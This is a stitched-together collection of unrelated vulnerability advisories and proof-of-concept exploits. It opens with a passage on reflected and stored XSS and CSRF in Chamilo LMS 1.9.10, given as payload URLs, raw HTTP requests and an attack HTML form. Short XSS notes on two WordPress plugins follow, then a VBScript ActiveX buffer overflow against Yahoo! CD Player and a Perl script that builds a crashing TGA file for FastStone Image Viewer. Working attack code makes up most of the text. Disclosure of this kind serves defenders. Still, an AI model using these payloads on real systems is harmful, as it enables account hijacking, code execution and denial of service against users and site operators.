II. Severity 
======================================================== 
Rating: High 
Remote: Yes 
Authentication Require: Yes 
CVE-ID: 

III. Vendor's Description of Application 
======================================================== 
Chamilo LMS, or Chamilo Learning Management System is a piece of software that allows you to create a virtual campus for the provision of online or semi-online training. It is distributed under the GNU/GPLv3+ license and its development process is public. All the Chamilo software products are entirely free (as in freedom), free (as in beer) and complete, and are production-ready without requiring any type of payment. 

https://chamilo.org/chamilo-lms/ 

IV. Vulnerability Details & Exploit 
======================================================== 
1) Multiple Reflected XSS Request 

Request Method = GET 

XSS PoC's:- 

/main/calendar/agenda_list.php?type=personal%27%20onmouseover=%27confirm%280%29%27/%3E%3C!--
/main/messages/outbox.php?f=social"+onmouseover="confirm(0)
/main/mySpace/student.php?keyword=31337"+onmouseover=confirm(0)//&active=0&_qf__search_user=&submit=Search
/main/inc/lib/fckeditor/editor/plugins/ajaxfilemanager/ajax_get_file_listing.php?editor=stand_alone&view=thumbnail&search=1&search_name=admin&search_recursively=0&search_mtime_from=&search_mtime_to=&search_folder=;</script><script>confirm(0)</script>
/main/admin/configure_extensions.php?display=</script><script>confirm(0)</script>
/main/admin/course_category.php?action=add&category="/><script>confirm(0)</script>
/main/admin/session_edit.php?page=resume_session.php%22%20onmouseover=confirm%280%29//&id=1

b) User Agent Header XSS (Reflected)
GET /main/admin/system_status.php?section=webserver
User-Agent: <script>confirm(0)</script>
__________________________________________________________ 

2) Stored XSS 

File Attachment Description parameter (legend[]) is vulnerable to Stored XSS By utilizing "social network" an attacker may send a crafted message to anybody with XSS payload in the file attachment description field (i.e legend[]) 

Request Method : POST 
Location = /main/messages/new_message.php?f=social 
Parameter = legend[] 

Stored XSS PoC :- 

POST /main/messages/new_message.php?f=social HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/main/messages/new_message.php?f=social
Cookie: XXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=---------------------------8461144986726
Content-Length: 1023
-----------------------------8461144986726
Content-Disposition: form-data; name="users[]"
3
-----------------------------8461144986726
Content-Disposition: form-data; name="title"
Stored XSS Test Via Social network
-----------------------------8461144986726
Content-Disposition: form-data; name="content"
This is test message<BR>
-----------------------------8461144986726
Content-Disposition: form-data; name="attach_1"; filename="test.txt"
Content-Type: text/plain
I owned you !!!!
-----------------------------8461144986726
Content-Disposition: form-data; name="legend[]"
Cool File <script>confirm(0)</script>
-----------------------------8461144986726
Content-Disposition: form-data; name="compose"

-----------------------------8461144986726
Content-Disposition: form-data; name="_qf__compose_message"

-----------------------------8461144986726
Content-Disposition: form-data; name="sec_token"
42917ca29da38f60d49bbaf2ba89b1b9
-----------------------------8461144986726--
________________________________________________________________________ 

3) CSRF & Stored XSS Request 

Method = POST 
Location = /main/admin/session_add.php 
Parameter = name 

POST /main/admin/session_add.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1//main/admin/session_add.php
Cookie:XXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

formSent=1&name=<script>confirm(0)</script>&coach_username=rehan&session_category=0&nb_days_acess_before=0&nb_days_acess_after=0&start_limit=on&day_start=2&month_start=3&year_start=2015&end_limit=on&day_end=2&month_end=3&year_end=2016&session_visibility=2

CSRF PoC:-

<html>
<!-- CSRF Request With Stored XSS Payload -->
<body>
<form action="http://127.0.0.1/main/admin/session_add.php"
method="POST">
<input type="hidden" name="formSent" value="1" />
<input type="hidden" name="name"
value="Test<script>confirm(0)</script>" />
<input type="hidden" name="coach_username" value="admin" />
<input type="hidden" name="session_category" value="0" />
<input type="hidden" name="nb_days_acess_before"
value="0" />
<input type="hidden" name="nb_days_acess_after"
value="0" />
<input type="hidden" name="start_limit" value="on" />
<input type="hidden" name="day_start" value="2" />
<input type="hidden" name="month_start" value="3" />
<input type="hidden" name="year_start" value="2015" />
<input type="hidden" name="end_limit" value="on" />
<input type="hidden" name="day_end" value="2" />
<input type="hidden" name="month_end" value="3" />
<input type="hidden" name="year_end" value="2016" />
<input type="hidden" name="session_visibility" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


VI. Affected Systems 
======================================================== 
Software: Chamilo LMS 
Version: 1.9.10 and Prior
Solution (Fix): Upgrade to 1.9.11 (https://github.com/chamilo/chamilo-lms/)

VII. Vendor Response/Solution 
======================================================== 
Vendor Contacted : 02/12/2015 
Vendor Response : 02/12/2015 
Patch Release: 03/17/2015 
Advisory Release: 03/18/2015

VIII.Credits 
======================================================== 
Discovered by Rehan Ahmed 
knight_rehan@hotmail.com
HireHackking 
source: https://www.securityfocus.com/bid/51012/info

GRAND FlAGallery plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

GRAND FlAGallery 1.57 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/50996/info

Pet Listing is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/preview.php?controller=Listings&action=search&listing_search=1&type_id=&bedrooms_from=">[XSS]
HireHackking 
source: https://www.securityfocus.com/bid/51011/info

The Yahoo! CD Player ActiveX control ('YoPlyCd.dll') is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds check user-supplied input.

Attackers can exploit this issue to execute arbitrary code within the context of an application (typically Internet Explorer) that uses the ActiveX control. Failed exploit attempts will result in a denial-of-service condition. 

<object classid='clsid:5622772D-6C27-11D3-95E5-006008D14F3B' id='test'></object>

<script language='vbscript'>

 buff = String(2097512, "A") '<- EAX changes according to the first parameter of
                             '   "String" function (Number As Long)
 test.open buff

</script>
HireHackking 
# Exploit Title         : FastStoneImage Viewer (Corrupted tga) IMAGESPECIFICATION.Width Crash POC
# Product               : FastStoneImage Viewer
# Date                  : 25.02.2015
# Exploit Author        : ITDefensor Vulnerability Research Team http://itdefensor.ru/
# Software Link         : http://www.faststone.org/FSViewerDownload.htm
# Vulnerable version    : 5.3 (Latest at the moment) and probably previous versions
# Vendor Homepage       : http://www.faststone.org/
# Tested on             : FastStoneImage Viewer 5.3 installed on Windows 7 x64, Windows Server 2008
# CVE                   : unknown at the moment
#============================================================================================
# Open created POC file (poc.tga) with FastStoneImage Viewer
# Details
#*** ERROR: Module load completed but symbols could not be loaded for image00000000`00400000
#image00000000_00400000+0x9357:
#00409357 893a            mov     dword ptr [edx],edi  ds:002b:00e00880=????????
#0:000:x86> kb
#ChildEBP RetAddr  Args to Child              
#WARNING: Stack unwind information not available. Following frames may be wrong.
#0018f688 004ff000 0018f6b4 00404619 0018f6ac image00000000_00400000+0x9357
#0018f6ac 00425374 0018f6c0 0042537e 0018f6d8 image00000000_00400000+0xff000
#0018f6d8 004255a2 0018f72c 0018f6f0 004256bb image00000000_00400000+0x25374
#0018f72c 004257ee 0018f784 00425822 0018f758 image00000000_00400000+0x255a2
#============================================================================================
#!/usr/bin/perl -w

	$tga_id = "tga poc example" ;
	
	$tga_header =		"\xf" .				#	IDLength
						"\x00" .			#	ColorMapType
						"\xa" ;				#	ImageType
						
	$tga_cms_spec =		"\x00\x00" .		#	FirstIndexEntry
						"\x00\x00" .		#	ColorMapLength
						"\x00" ;			#	ColorMapEntrySize
	
	$tga_image_spec =	"\x00\x00" .		#	XOrigin
						"\x00\x00" .		#	YOrigin
						"\x00\xa0" .		#	Width		<--- ! Incorrect field, leads to application crash
						"\x80\x00" .		#	Height
						"\x10" .			#	PixelDepth
						"\x1" ;				#	ImageDescriptor
						
	$tga_file_header = $tga_header . $tga_cms_spec . $tga_image_spec . $tga_id ;				
	$tga = $tga_file_header . "a" x 10000 ;
	
	open FILE, ">poc.tga"	or die("Can't open poc.tga\n") ;
	binmode(FILE) ;
	print FILE $tga ;
	close FILE ;